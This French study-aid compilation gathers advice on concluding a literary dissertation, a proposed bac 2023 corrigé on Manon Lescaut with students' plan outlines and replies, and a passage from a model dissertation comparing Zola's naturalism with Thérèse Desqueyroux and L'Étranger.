C’est là-dessus que tu es attendu !
Ton introduction a soulevé une problématique. Il est temps d’y répondre.
Normalement, tu as développé ta réponse finale dans ta troisième partie. Il te suffit donc de la reprendre de façon ferme et concise pour achever ta dissertation.
Répondre à la question ne signifie pas donner un avis personnel : « Moi, je pense que… ».
Ta réponse n’est certes pas neutre puisqu’il s’agit d’une réponse personnell e, mais elle doit être présentée comme une réponse réfléchie, comme l’aboutissement de ton raisonnement.
N’utilise jamais la première personne (« je ») : le « nous » ou le « on » impersonnel doivent être présents jusqu’à la dernière étape de ta dissertation.
3 – Propose un élargissement
L’élargissement (ou ouverture) est une phrase qui ouvre la réflexion sur une perspective plus générale . C’est un moyen de montrer que la discussion pourrait se prolonger.
Pour trouver une ouverture, passe en revue les possibilités suivantes :
- Ta réponse au sujet fait-elle émerger d’autres problèmes littéraires ?
- Ta réponse amène-t-elle à s’interroger sur un nouveau sujet ?
- La question se pose-t-elle dans un autre genre ou domaine artistique (peinture, cinéma, musique…) ?
- Peux-tu revenir aux notions de l’objet d’étude, en proposant un autre regard sur ce dernier ?
- Peux-tu ouvrir sur une citation d’auteur issue de l’oeuvre au programme ?
Comme pour l’accroche en introduction, ton élargissement doit absolument éviter les généralités trop éloignées de ton sujet .
Par exemple, la question « Mais alors, quel est le but de la littérature ? » est bien trop large : c’est une ouverture qui décrédibiliserait ta copie.
Propose une ouverture sur un sujet proche de celui traité dans ta dissertation . Le but est d’ouvrir le champ de la réflexion mais sans passer du coq à l’âne !
Au baccalauréat, il n’est pas toujours évident pour les lycéens de 1re de trouver une ouverture pertinente.
Si tu n’as que des idées d’ouverture vagues, banales ou clichés, mieux vaut sauter cette étape plutôt que de faire du remplissage maladroit qui pourrait laisser une mauvaise impression à ton correcteur.
3 formules pour réussir tes ouvertures :
@commentairecompose.fr Pour te démarquer au bac de français, teste ces 3 formules pour tes ouvertures 🚀 Que ce soit pour le commentaire ou la dissertation, l’ouverture est attendue dans ta conclusion: elle souligne ta culture littéraire et laisse ton correcteur sur une bonne impression. 📚✨ #bacdefrancais #conclusion #dissertation #commentaire #Apprendresurtiktok #profdefrançais #bonnenote ♬ son original – Amélie Vioux | Bac de français
Pour exceller au bac de français, teste ces 3 formules pour tes ouvertures en conclusion 🚀 Elles fonctionnent pour le commentaire et la dissertation. L’ouverture est attendue dans la conclusion: elle souligne ta culture littéraire et laisse ton correcteur sur une bonne impression. 📚✨ #bacdefrancais #conclusion #dissertation #commentaire #Apprendresurtiktok #profdefrançais #bonnenote
♬ son original – Amélie Vioux | Bac de français
Comment rédiger la conclusion d’une dissertation ?
Quelle que soit la matière (français, philosophie, économie, histoire-géo…), la conclusion est obligatoire et se rédige de la même façon.
Il s’agit toujours d’un paragraphe unique de 8-10 lignes qui débute par un alinéa .
La conclusion est isolée du reste du devoir par deux sauts de ligne .
Il est ainsi inutile de commencer ta conclusion par une formule telle que « Pour conclure », « En conclusion » : ces expressions sont lourdes et redondantes puisque le professeur identifie immédiatement ta conclusion qui se détache visuellement du développement . Il sait donc que la dernière partie de ton devoir correspond à la conclusion.
Afin de laisser une impression favorable à l’examinateur, soigne particulièrement l’ orthographe et la syntaxe .
La tentation est grande de la « bâcler » la conclusion en quelques minutes, avant la fin de l’épreuve, mais tu as tout intérêt à la préparer sérieusement au brouillon pour te démarquer avantageusement des autres copies.
N’oublie pas que la conclusion est la finalité de ton devoir et qu’elle sera lue attentivement par ton enseignant juste avant qu’il n’appose la note finale !
Exemple de conclusion de dissertation
Voici un exemple de conclusion de dissertation pour le sujet « Le romancier doit-il nécessairement faire de ses personnages des êtres extraordinaires ? » :
Le héros hors du commun, extraordinaire, fascine indéniablement le lecteur, mais le personnage ordinaire suscite également son intérêt car il lui offre un miroir plus plausible et réaliste. Il convient toutefois de sortir de l’opposition binaire entre personnage extraordinaire et ordinaire car cette opposition ne permet pas de rendre compte de la complexité du personnage de roman et des attentes du lecteur qui s’intéresse à la singularité de chaque personnage. [Je récapitule les jalons de mon raisonnement et donne ma réponse finale ferme et définitive] . C’est ce qui fait dire à André Malraux « Un personnage n’est pas un individu en mieux ». Comme dans la vie réelle, chaque trajectoire individuelle, ordinaire ou extraordinaire, peut susciter l’intérêt pour peu qu’on essaie de l’appréhender dans sa complexité et sa singularité. [ouverture sur une citation]
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Qui suis-je ?
Amélie Vioux
Professeure et autrice chez hachette, je suis spécialisée dans la préparation du bac de français (2nde et 1re).
Sur mon site, tu trouveras des analyses, cours et conseils simples, directs, et facilement applicables pour augmenter tes notes en 2-3 semaines.
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Tu peux également retrouver mes conseils dans mon livre Réussis ton bac de français 2025 aux éditions Hachette.
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Apprenez les langues , bac de français 2023 : proposition de corrigé pour le sujet de dissertation « le plaisir de lire manon lescaut ne tient-il qu’au récit d’une passion amoureuse ».
Les sujets du Bac de français 2023 Métropole sont tombés. Le commentaire portait donc sur la littérature d’idées du XVIe au XVIIIe tandis que la dissertation portait sur le roman et le récit du Moyen âge au XXIe siècle. Nous proposons dans cet article un modèle de corrigé pour le sujet de dissertation portant sur Manon Lescaut .
Le sujet complet est à télécharger ici :
Nous allons nous pencher sur le sujet A, qui correspond à l’oeuvre de l’Abbé Prévost, Manon Lescaut , Parcours : personnages en marge, plaisirs du romanesque.
Le plaisir de lire Manon Lescaut ne tient-il qu’au récit d’une passion amoureuse ?
Vous répondrez à cette question dans un développement organisé en vous appuyant sur Manon Lescaut , sur les textes que vous avez étudiés dans le cadre du parcours associé, et sur votre culture personnelle.
Phase 1 : analyse du sujet
Rappelons-nous que le roman Manon Lescaut a fait de l’Abbé Prévost l’un des plus grands écrivains du XVIII e siècle (pourtant il a écrit une soixantaine de livres!). Qu’est-ce qui fait donc la particularité de celui-ci ?
Analysons tout d’abord les mots clés du sujet :
– plaisir de lire : cela renvoie à l’effet que produit la lecture sur le lecteur, qui ressent du « plaisir « ; nous pouvons mettre cela en lien avec le parcours qui s’intitule « personnages en marge, plaisirs du romanesque « . Il faut essayer de caractériser le plaisir qui découle de la lecture :
➡️plaisir à découvrir et à s’attacher aux personnages
➡️plaisir à s’identifier à eux
➡️plaisir à suivre les péripéties (il y en a beaucoup dans le roman Manon Lescaut )
➡️plaisir à lire les récits de la passion
➡️plaisir de l’immoralité : cela peut être jouissif de lire l’histoire de personnages qui se mettent en marge des normes de la société comme le font Des Grieux et Manon
➡️plaisir de lire une oeuvre qui transgresse les codes de son époque : le roman a été jugé immoral et censuré . L’oeuvre de l’Abbé Prévost se situe entre le roman baroque (né au XVII e siècle, c’est un roman sentimental et d’aventures, plein de rebondissements) et le romantisme (fin XVIIIe-XIXe) à venir.
– récit : Ce roman raconte une « histoire » comme le montre le titre complet Histoire du chevalier Des Grieux et de Manon Lescaut
– passion amoureuse : l’Abbé Prévost nous présente son oeuvre comme « un exemple terrible de la force des passions « . Mais la passion est celle de Des Grieux pour la femme fatale qu’est Manon, elle étant passionnée par le plaisir . Des Grieux est présenté comme étant un « un jeune aveugle ». Il est aveuglé par l’amour qu’il porte à Manon. Manon quant à elle ne conçoit pas la passion en dehors de la fortune et d’une vie confortable. Ainsi, son amour pour Des Grieux dépend du confort matériel qu’il est en mesure de lui offrir. Elle est par ailleurs flattée d’être aimée de manière si éperdue par un jeune homme de bonne famille tel que lui. En somme, Des Grieux aime éperdument Manon qui aime éperdument le plaisir (« Manon était passionnée pour le plaisir ; je l’étais pour elle »).
– ne…que = uniquement
➡️en général la réponse est « non », d’autres aspects entrent en ligne de compte et il faut les trouver.
Phase 2 : Reformulation de la problématique
Reformulation possible de la problématique : Ce roman est-il agréable à lire uniquement car il narre une passion amoureuse ?
En partie oui, mais d’autres aspects sont à considérer. La passion amoureuse est combinée aux péripéties et soulève aussi la question de la moralité/immoralité pour captiver le lecteur et contribuer au plaisir de la lecture. Nous pouvons aussi évoquer le style de l’auteur (simple, dépouillé, rendant la lecture aisée.)
Phase 3 : Plan de dissertation possible
I.un plaisir de lecture qui découle du récit d’une passion amoureuse éperdue, a) une histoire d’amour….
En 1717, Des Grieux est un jeune homme de dix-sept ans qui a étudié la philosophie. Son père le destine à rejoindre l’ordre de Malte pour devenir chevalier. C’est alors qu’il croise à un relais de poste une jeune fille « charmante » dont il tombe instantanément amoureux. Il apprend d’elle que ses parents, l’envoient au couvent pour arrêter « son penchant au plaisir ». Le ton est donné. De connivence avec elle, il décide de l’enlever pour vivre avec elle. Le couple s’installe à Paris, mais le bonheur de Des Grieux ne dure pas longtemps (six semaines environ). Manon aspire au confort matériel et aux luxe et elle se fait entretenir par des hommes. Le reste de l’histoire est marqué par les actions héroïques (et désespérées) d’un Des Grieux aveuglé par l’amour, qui se refuse à se séparer de son amante quoi qu’il en coûte. Après de nombreuses péripéties, ils se retrouvent en Amérique et peuvent peut-être enfin aspirer à un bonheur stable, mais le destin en décide autrement et ils se retrouvent en fuite dans le désert où Manon meurt dans les bras de Des Grieux, éploré. La trame est donc bien celle d’une passion amoureuse houleuse, véritablement à même de passionner le lecteur.
b) …immorale
Cependant, il ne s’agit pas simplement ici du récit d’une passion amoureuse (thème bien trop commun). Les deux héros sont des personnages en marge : Manon a un penchant au plaisir qui est immoral pour la société de son époque. Le libertinage est en effet un thème clé de l’oeuvre : Manon choisit de vivre en femme libre, elle ne veut pas se conformer à l’ordre moral austère de son époque et poursuit avant tout le plaisir sensuel . Des Grieux, éperdument amoureux, se retrouve entraîné dans le libertinage et dans moult actes immoraux par amour pour elle, pour ne pas la perdre. Malgré leurs actes répréhensibles, les deux personnages apparaissent comme les victimes d’une société elle-même corrompue, et ont pour eux l’excuse de l’âge et de leur amour. Le lecteur peut s’identifier aux personnages et être amené à réfléchir aux dilemmes moraux que leurs actions soulèvent. Il peut éprouver un plaisir de lecture qui est celui d’être témoin de l’immoralité. Il est aussi amené à se questionner : l’amour peut-il excuser les pires débauches ? La noblesse de l’âme peut-elle être une excuse à l’immoralité ?
II. Une dynamique entraînante pour le lecteur
Malgré ses accents picaresques, ce roman n’est pas un roman d’aventure car ce n’était pas l’intention de son auteur qui cherchait à dépeindre les ravages de la passion. Le lecteur est pourtant entraîné dans une dynamique vertigineuse qui ne laisse pas place à l’ennui.
a) Omniprésence de l’action
Il y a beaucoup de rebondissements dans le récit : Des Grieux propose à Manon de s’enfuir ensemble, vie commune à Paris, tromperie de Manon, enlèvement de Des Grieux par sa famille, les amants se retrouvent à la Sorbonne, ils se remettent en ménage, Manon reprend ses manigances, prison, évasion de prison, Des Grieux bascule dans le jeu, embarquement pour l’Amérique, fuite dans le désert, mort de Manon, retour de Des Grieux en France…Des événements violents émaillent le récit : deux enlèvements, des poursuites, des arrestations, des vols ou tentatives, trois meurtres (celui du portier, celui du supérieur de Saint-Lazare, celui de Lescaut), un incendie, quatre emprisonnements, une séquestration, une déportation, le projet d’attaque du cortège des femmes qui seront envoyées en Amérique. Les péripéties sont constantes et le lecteur n’a pas le temps de s’ennuyer.
b) Un mouvement quasi constant marqué par une multitude de lieux
L’action se déroule en une multitude de lieux , car l’histoire d’amour se fait sur fond de fuite perpétuelle pour les deux amants en marge : elle commence à Pacy-sur-Eure (première rencontre entre l’homme de qualité et Des Grieux), elle se continue à Calais, la rencontre entre Des Grieux et Manon se fait à Amiens, ils s’installent à Paris, il est séquestré ensuit chez son père à Amiens, il va étudier à Saint-Sulpice, les deux amants s’enfuient à nouveau et vont vivre à Chaillot, puis ils sont attrapés et enfermés, ils s’enfuient et retournent à Chaillot, Manon est déportée en Louisiane et Des Grieux l’accompagne, retour en France pour Des Grieux après la mort de Manon, fin. Le lecteur est entraîné dans le récit même si la dynamique n’existe pas pour divertir proprement le lecteur mais pour marquer la transgression.
III.Un roman de moeurs sous la forme d’un récit spontané et dépouillé
A) un roman de moeurs.
Le lecteur est face à un roman de moeurs, un roman qui cherche à dépeindre les modes de vie d’une époque , plus que la psychologie des personnages. Prévost a voulu documenter le lecteur sur les mœurs du temps, et dresser un tableau de la société. On y trouve la thématique du clivage des classes sociales. exemples :
-Le marquis de Renoncour est bien désigné comme un « homme de qualité », c’est-à-dire un aristocrate, et c’est bien l’esprit de classe qui lui fait considérer le chevalier des Grieux avec bienveillance.
-Des Grieux est destiné à l’ordre de Malte, c’est un jeune homme de bonne naissance
-en contrepartie, Manon est de naissance commune. Elle est flattée d’avoir un amant comme Des Grieux. Ce n’est qu’à la Nouvelle-Orléans que les deux amants sont à égalité.
Par ailleurs, Des Grieux sort toujours de prison, tandis que Manon est traînée en Louisiane (inégalité de traitement, arbitraire).
Thématique du libertinage : L’époque est celle du début de la Régence, moment de libération des moeurs car, après l’austérité des dernières années du règne de Louis XIV. Manon est la représentante des courtisanes de cette période, l’univers de la prostitution étant évoqué, tandis que la difficulté de des Grieux à construire un sens devient celle de toute cette société en pleine ébullition.
Thématique de la moralité et de l’argent : Le roman restitue, avec une vérité presque gênante parfois, tout un milieu social immoral et corrompu, un monde de libertins réunissant des gens socialement élevés et des gens du peuple. Manon et des Grieux vivent parmi des êtres dénués de principes moraux, et même de tout sens du bien et du mal, qui n’avaient qu’une seule raison de vivre : le plaisir ; et qui, comme le plaisir coûte cher, se procuraient de l’argent par tous les moyens. Mieux qu’aucun autre roman du XVIIIe siècle, l’“ Histoire du chevalier des Grieux et de Manon Lescaut” fait comprendre le rôle de l’argent dans les relations humaines.
Ainsi, le lecteur peut prendre plaisir à lire le contexte de la société française de l’époque.
b) Le style d’écriture et le choix de l’énonciation : facilité de lecture et ménagement d’une part de mystère
Le style de l’auteur est simple est dépouillé. Il facilite l’entrée du lecteur dans le récit. Le plaisir de lecture peut en être décuplé.
Le personnage de Manon reste par ailleurs mystérieux : l’histoire est racontée du point de vue des Des Grieux par l’intermédiaire de l’homme de qualité (Renoncour). On ne sait rien de sa vision des choses hormis ce que l’on peut déduire de ses choix, de ses actions et de ses paroles rapportées par Des Grieux. Pierre Saint Amand dit « Si on peut la voir comme la grande magicienne de l’amour, son libertinage garde dans le roman une part occulte. C’est souvent après coup que Des Grieux prend connaissance des aventures de Manon, ce qui l’oblige à l’espionner, à partir sur les traces de sa maîtresse. Le jeu libertin de l’héroïne devient une véritable partie de cache-cache. » Le mystère qui entoure cette femme participe en partie, aussi, au plaisir de lecture.
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Bonjour, donc pour moi j’ai fait un plan assez petit , donc je ne sais pas si cela est bien : I) la passion amoureuse au coeur du récit a. Une passion amoureuse malheureuse b. Une passion pleine de rebondissements c. Une passion qui marginalise les personnages II)Les autres intérêts a. Importance des monologues intérieurs de DG b. DG un personnage manipulé, Manon une femme manipulatrice.
Saluut alors pour ma part mon plan était le suivant: S’il est vrai que le plaisir de lire cette œuvre tient compte de la lecture d’une passion amoureuse(I), cependant il tient aussi de la lecture d’un récit relatant la vie de personnages En marge de la société de l’époque(II), mais la complexité du sujet réside dans la réflexion sur le tiraillements de la mène qui amène l’œuvre de l’abbé Prévost.(III) I. un récit d’amour.. a) un amour réciproque b) pour le meilleur c) comme le pire II. la marginalité comme autres plaisir sur romanesque a) à l’inverse de Tiberge, Des Grieux b) a l’opposé des attentes de la sociétés de l’époque sur les femmes, Manon c) un amour qui les marginalise III. la visée morale: le tiraillement de l’âme humaine entre deux extrêmes a) la vertu incarnée par Tiberge( idéal chrétien) b) le vice incarné par Manon et son bien aimée, tout deux exclu de la société. c) un lecteur curieux, qui peut se reconnaître QU’EN PENSEZ VOUS ??
Intéressant, les grandes parties sont bien trouvées (il faut juste penser à connecter le III avec ce qui peut intéresser le lecteur, le sujet s’intéresse au « plaisir de lire »). L’effort pour trouver 9 sous-parties est louable mais il y a un risque de redites (a et b du I, a du II et a du III, b du II et b du III)…Il faudrait voir comment vous l’avez rédigé pour trancher 🙂
Bonjour est ce un hors sujet complet ou partiel? une partie placere une autre docere et enfin movere? merci
euh j’ai utilisé également cette citation en latin, mais tel une illustration de mon propos; je ne saurais as te dire si cela marche comme axe ou partie..
Dit comme ça semble aller dans la bonne direction, mais il faut voir comment 1) vous avez décomposé ça en sous-parties 2)comment vous l’avez rédigé
Peut-être un hors sujet partiel, si tu ne parle pas du plaisir dans ta 2eme partie. Mais sinon je pense c’est simple et efficace.
Bonsoir, j’ai opté pour un plan différents de ceux que j’ai rencontré. Ma problématique était : Quels plaisirs le lecteur ressent, à une lecture du roman Manon Lescaut ?: I. Plaît pour les plaisirs du romanesque A) Un roman authentique et vraisemblable + récit enchâssé B) Un récit sans temps mort C) Entre comédie et tragédie
II. Pour ses personnages en marge A) Des personnages marginaux qui amènent à un sentiment d’évasion du lecteur B) Mais aussi des personnages vertueux
III. Mais ne peut pas que plaire A) Personnages et activités à contraire à la morale religieuse B) Morale de l’histoire et rédemption douteuses
Les parties I et II sont ok. Concernant la partie III, il aurait peut-être fallu la tourner autrement car là, elle semble vraiment prendre le contrepied du sujet (qui invite à réfléchir aux raisons pour lesquelles le roman plaît).
Personnellement j’ai choisis : I. Le plaisir de lire le récit d’une passion amoureuse a) la passion amoureuse dans Manon lescaut (rencontre, amour fou, séparation, amour simple au nouvel orléan, fin tragique etc) b) La typologie des larmes (matérialiste, métaphysique, permettent un passage du corps au cœur etc..) II. Le plaisir à lire un roman féodal aux personnages exceptionnels a) Le plaisir du romanesque (péripéties, rebondissements, le lecteur ne s’ennuie pas etc..) b) Des personnages d’exceptions (personnages en marge, moral/immoral, le lecteur juge, ..) III. La vraisemblance du récit permet le plaisir du lecteur a) un roman de mœurs b) des stratégies narratives
ouverture : faire prendre du plaisir au lecteur était il le seul objectif de Prévost? (placere et docere, traité de moral, Horace, …)
Qu’en pensez vous?
Grosso modo, la partie I est ok. Pour la partie II, pourquoi un roman « féodal » ? 🤔 La partie III aurait plutôt été l’occasion de placer le « docere » qui intervient peut-être trop tard en ouverture. « Traité de morale » en ouverture peut être un doublon du III a) (selon comment vous avez présenté l’ensemble).
J’ai opté pour ce plan : 1) le plaisir de la passion amoureuse A. Présent des la rencontre B qui dure malgré les obstacles C. Qui se finit sur une fin tragique
2) le plaisir de lire avec de nombreux éléments caractéristiques du romanesque A. Les évasions B. Les trahisons, le mensonge
3) des personnages en marge qui sucistent l’intérêt du lecteur A. Manon B. Des Grieux C. Les personnages secondaires
Ça semble assez bon ! Dommage que la partie II n’ait pas un c) pour l’équilibre des parties. Une solution aurait été de ne faire que 2 sous-parties partout dans le plan, en fusionnant par exemple le b) et le c) du I ou le a) et b) car la subdivision n’apporte rien de plus (a priori, n’ayant pas lu la version rédigée) au plaisir qu’éprouve le lecteur. Puis le c) du III est difficilement susceptible de susciter l’intérêt du lecteur. En somme, le plan est ok, simplement, un format en 2 sous-parties recentre le propos et peut éviter le hors-sujet. Bonne chance, tenez-nous au courant du résultat !
Bonjour, j’ai opté pour le plan suivant, qu’en pensez-vous ?
I – Le plaisir de lire ce roman tient au récit d’une passion amoureuse car nous sommes dans l’intrigue de savoir si leur amour va persister et s’ils vont être heureux 1 – L’honneur de DG anime la flamme de la passion 2 – Les péripéties qui les séparent 3 – Les différences sociales des amants
II – Mais le plaisir tient aussi à la marginalité des personnages et de leur environnement 1 – Manon et DG en marge 2 – Une société en marge 3 – Une décadence progressive du couple
III – Au delà de la recherche de procurer du plaisir, Prévost écrit ce roman pour réaliser une satire de la société 1 – Les mentalités individuelles (Prostitution, situation de la femme) 2 – Les mentalités collectives (les milieux interlopes)
Pas mal, il fallait bien être attentif à relier la partie III malgré tout au plaisir de lecture (donc au point de vue du lecteur). Une incohérence sur le 2 sur II (une société ne peut pas être en marge puisque c’est elle qui fixe les normes…).
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Cours de français de m. bruno rigolt – lycée en forêt – montargis (france). ressources pédagogiques en ligne – culture générale, corrigé de dissertation : zola, mauriac, camus. fonctions du roman.
- Entraînement à l’Épreuve Anticipée de Français : dissertation littéraire
- Albert Camus, L’Étranger
- François Mauriac : Thérèse Desqueyroux
- Pour la méthodologie de la dissertation, voir ce support de cours . –
Dissertation littéraire
Sujet corrigé bruno rigolt, rappel du sujet : , émile zola dans le roman expérimental (1880) affirme qu’une œuvre littéraire doit être « un procès-verbal, rien de plus : elle n’a que le mérite de l’observation exacte […] ». ce jugement s’accorde-t-il avec votre lecture de thérèse desqueyroux et de l’étranger .
[Introduction] Elle se compose de trois étapes essentielles : l ’entrée en matière et l’annonce du sujet ; l a définition d’une problématique ; l ’annonce du plan.
_____ En réaction aux écrivains romantiques de la première moitié du XIXe siècle, les romanciers réalistes et naturalistes ont en commun de « dire toute la vérité » selon l’expression bien connue de Maupassant. Fortement marqué par le développement des sciences, Zola définira même le roman selon une méthode indissociable d’une interprétation scientifique et déterministe de la société. C’est ainsi que dans le Roman expérimental , essai paru en 1880, il théorise la doctrine naturaliste en ces termes : « L’œuvre devient un procès-verbal, rien de plus ; elle n’a que le mérite de l’observation exacte […] ».
_____ La sévérité d’un tel jugement prête cependant à discussion : le genre romanesque doit-il se borner à présenter un « reflet » de la société, à en être seulement le « miroir », ou doit-il nourrir d’autres ambitions ? Ces questionnements fondent la problématique de notre travail.
_____ Si le roman, comme nous le concéderons d’abord, est fondé sur une méthode d’observation objective, nous verrons qu’il peut aussi recomposer le réel, notamment par la remise en question de la notion de personnage telle qu’elle a été élaborée auparavant. Il conviendra enfin de dépasser cette dialectique quelque peu réductrice pour envisager une définition plus profonde du genre romanesque : comme moteur de la conscience humaine, le roman ne permettrait-il pas plutôt, loin d’aliéner l’homme au réel, de l’ouvrir au contraire à un questionnement intérieur, questionnement avant tout philosophique et existentiel ? Nous étayerons notre démonstration par les deux œuvres au programme : Thérèse Desqueyroux de François Mauriac et l’Étranger d’Albert Camus.
[Développement] Pour les sujets qui comportent une thèse à discuter, le plan sera évidemment dialectique (thèse validée/discutée/réajustée = certes/mais/en fait).
_____ En premier lieu, il convient de situer le genre romanesque dans le cadre des canons définis par le Naturalisme. Les termes employés par Zola confèrent en effet à l’écriture les caractères d’un « procès-verbal », d’une « observation exacte » de la réalité.
_____ Les deux romans soumis à notre étude relèvent par plusieurs aspects de l’analyse naturaliste. Dans Thérèse Desqueyroux , nous retrouvons par exemple une méthode d’observation des personnages qui les enracine fortement dans un déterminisme social et héréditaire : argent, pouvoir, instinct de propriété les conditionnent au point qu’ils semblent ne pas pouvoir échapper à leur destin. Ainsi Thérèse rêve d’un avenir différent, mais elle ne parviendra jamais à le construire. Son crime est le rêve quelque peu bovaryste d’un ailleurs d’autant plus illusoire qu’elle est littéralement prisonnière du milieu et des circonstances sociales. Jeune bourgeoise provinciale, elle a fait un mariage de convenance : placée sous le signe de l’enfermement et de l’incommunicabilité, sa vie de couple met en relief la banalité de l’existence, dans ce qu’elle a de plus ordinaire et trivial. De même, nous avons l’impression que Camus dans L’Étranger , refusant tout artifice rhétorique, se plaît à détailler jusqu’aux limites extrêmes la condition subalterne et médiocre de Meursault, qui apparaît comme le contraire d’un héros. D’ailleurs, le meurtre de l’Arabe s’inscrit dans une forme de fatalité qui n’est pas sans rappeler, autant le naturalisme et son déterminisme, que le fatum de la tragédie antique. A insi Meursault voit-il constamment le destin lui échapper : le meurtre de même que la condamnation à mort semblent conditionnés par une existence dérisoire et absurde, vécue dans une passivité et une immédiateté dépourvues de profondeur. Cette existence banale est parfaitement rendue comme l’a souligné Roland Barthes, par l’écriture blanche du roman, dépouillée dans son lexique et sa syntaxe.
_____ En outre, nous pouvons noter dans les deux œuvres un refus d’idéaliser le réel. De même que Zola n’économise dans ses romans aucun détail horrible, quitte à choquer par son souci d’être vrai les lecteurs et le « bon goût », Mauriac multiplie les remarques sur le conservatisme politique et social qui règne à Argelouse. Supprimant tout suspens dramatique, l’auteur a restitué le climat oppressant d’une classe sociale soucieuse avant tout de sa réputation. Cette trahison du spirituel est bien rendue par Bernard Desqueyroux : homme d’habitude et de principes, il organise sa vie selon un plan méthodique qui en dit long sur les préjugés de son milieu. De même, Balion, Balionte et Gardère, les domestiques, sont décrits sans concession dans toute leur petitesse et leur médiocrité humaine. Avec une ironie féroce, l’auteur dresse ainsi le « procès-verbal » de cette société du simulacre et de la dissimulation. Camus peint également sans idéalisation l’âpre réalité de la condition humaine : témoin le regard mécanique et froidement informatif que Meursault porte sur les pensionnaires de l’hospice de Marengo, sur la scène de l’enterrement ou le déroulement du crime. Ce parti pris de réalisme se retrouve dans le misérabilisme des situations : Salamano, le voisin de palier de Meursault, promenant son chien qu’il insulte souvent « le long de la rue de Lyon » selon un itinéraire qui n’a pas changé depuis huit ans. Nous pourrions évoquer aussi les accents pétainistes des discours de la Cour lors du procès ou les « cris de haine » de la foule préfigurant à la fin du roman l’exécution capitale. Dans ce monde obscur et lourd, c’est bien la morale des apparences sociales qui domine.
_____ Cette observation de la vie réelle dans ce qu’elle a de plus trivial parfois confère aux deux romans un caractère réaliste assez marqué qui conduit à une vision pessimiste du monde : ainsi, la société condamne Thérèse et Meursault tous deux pour avoir refusé de « jouer le jeu » pour reprendre la célèbre formule camusienne dans la préface à l’édition américaine de L’Étranger : dans leur refus même, et malgré leur acte criminel, ils trouvent la dignité et une sorte de salut. Loin du simulacre du monde et de la tentation de chercher refuge et facilité dans le mensonge, le réalisme de leur crime oblige en effet à voir la réalité en face, à ne pas la dissimuler derrière le masque trompeur des apparences et de la médiocrité. L es auteurs examinent les personnes de la réalité, font l’étude des interactions entre l’individu et son milieu afin de montrer la vérité en face : il s’agit de la peinture de l’existence décrite de façon prosaïque, loin de toute transcendance divine ou morale. Meursault est bien un antihéros qui refuse « d’avoir une apparence ou un langage qui trahiraient son être », selon le commentaire de Camus lui-même. On trouve ainsi chez les deux romanciers une évocation très crue de la mort, qu’il s’agisse de l’incipit célèbre de L’Étranger ou des détails sordides de l’empoisonnement chez Mauriac : « Thérèse pourrait réciter la formule inscrite sur l’enveloppe et que l’homme déchiffre d’une voix coupante : Chloroforme : 30 grammes. Aconitine granules n° 20. Digitaline sol. : 20 grammes ». Comme nous le comprenons, le réalisme dont il est question ne doit pas être confondu avec de simples effets de réel : il s’agit plus fondamentalement de peindre un antihéros écrasé par les déterminismes aliénants et de mettre en évidence la loi inexorable des rapports de force et de l’agencement du monde.
[Déduction générale] _____ Ainsi que nous avons cherché à le montrer, les personnages de Thérèse et de Meursault n’assument pas de fonction irréalisante ou même idéalisante. Loin de nier le réel pour lui substituer l’imaginaire ou la quête transcendante, ils s’enracinent au contraire dans l’histoire et l’espace déterministe dans lequel ils vivent : leur drame est précisément de ne pouvoir s’échapper de ce destin imposé que par l’exil ou la mort.
[Transition] _____ Pour autant, on aurait tort de réduire Thérèse Desqueyroux et l’Étranger à deux romans « d’observation ». Si le projet scientifique de Zola est bien de peindre des êtres seulement « déterminés », c’est-à-dire définis et gouvernés par leur hérédité, leur milieu social et les circonstances qu’ils traversent, Mauriac et Camus dans leur négation de l’histoire comme absolu et dans leur refus des idéologies, donnent au contraire à leur personnage une épaisseur psychologique et humaine qui dépasse largement le cadre de la reproduction exacte de la vie.
[Antithèse]
_____ L’œuvre littéraire, contrairement à ce qu’affirme Zola, n’a pas seulement pour but l’observation exacte : au contraire, la fiction peut chercher à contester une vision du monde donnée a priori . Loin de la neutralité du procès-verbal, « la création, comme l’écrit Camus dans L’Homme révolté , est exigence d’unité et refus du monde. Mais elle refuse le monde à cause de ce qui lui manque et au nom de ce que, parfois, il est ». Si le réel est donc nécessaire à l’art, la création propose un nouveau monde qui passe par une esthétique de la révolte ; révolte artistique et métaphysique contre l’absurdité et le non-sens.
_____ Il convient de noter pour commencer combien l’écriture chez Mauriac et Camus est profondément déstabilisatrice : loin de viser à « l’observation », elle cherche plutôt la contestation du romanesque traditionnel : si Roland Barthes que nous évoquions précédemment voit dans l’écriture de l’Étranger un « style de l’absence », c’est que le je de la narration, en échappant précisément au narrateur lui-même, libère le récit de toute rationalité. D’où cette « parole du silence » chez Meursault, « transparente aux choses et opaque aux significations ». Comme l’a bien montré Jean-Paul Sartre, l’hermétisme des émotions conduit le lecteur au sentiment de l’absurde, par le fait même qu’elle le contraint à prendre ses distances avec l’histoire racontée. Ce qui est en effet surprenant dans ce roman tient au fait que, si la façon d’écrire pourrait faire penser parfois à un journal intime, l’absence de toute affectivité, de toute implication émotionnelle, remet en cause l’identification du lecteur au héros. De même, dans Thérèse Desqueyroux , le récit souvent lacunaire fait perdre au lecteur ses repères : la longue analepse sous forme de monologue intérieur qui domine dans la première partie du roman, loin de guider le lecteur vers la résolution d’un problème, le perd au contraire dans l’attente, la réflexion sur la mort et la culpabilité : la place du monologue intérieur ainsi que la technique de l’analepse sont donc bien loin des enquêtes de Zola, entièrement soumises à l’« expérimentation scientifique » : délaissant volontairement le réalisme objectif de l’affaire Henriette Canaby, Mauriac nous plonge davantage dans la subjectivité du personnage. Comme il le dira lui-même, « J’ai emprunté […] les circonstances matérielles de l’empoisonnement mais je n’ai pris qu’une silhouette ».
_____ D’ailleurs, Il n’y a pas vraiment de schéma actantiel dans les deux romans : pas de quête suivie, pas d’objet, pas d’état final définitif, et nous pourrions appliquer à Thérèse ce que Camus dit à propos de Meursault : « le héros du livre est condamné parce qu’il ne joue pas le jeu. En ce sens, il est étranger à la société où il vit, il erre, en marge ». Dans leur exigence d’authenticité, Meursault ou Thérèse ne « jouent » pas la « comédie humaine » ou plutôt « l’inhumaine comédie » : ils ne luttent pas, ils ne se battent pas. Leur drame est donc de refuser le réel qui leur est proposé pour s’enfoncer plus encore dans la banalité transgressive de leur quotidien. Aucune individualité typisée chez ces personnages hors-norme : même leur crime semble dénué d’enjeu. Maurice Maucuer faisait à ce titre remarquer très justement : « On peut donc penser que ce refus d’insérer l’action romanesque dans le déroulement d’événements historiques précis, que ce parti pris d’annuler l’histoire […] traduisent sans doute la volonté de peindre, sans s’arrêter aux particularités d’une époque, une vérité humaine qui est de tous les temps » (Maurice Maucuer, Thérèse Desqueyroux , éd. Hatier, coll. Profil d’une œuvre, p. 28) . Pareillement, Meursault ne semble pas avoir d’identité ou de fonction sociale clairement marquée : comme dans le poème de 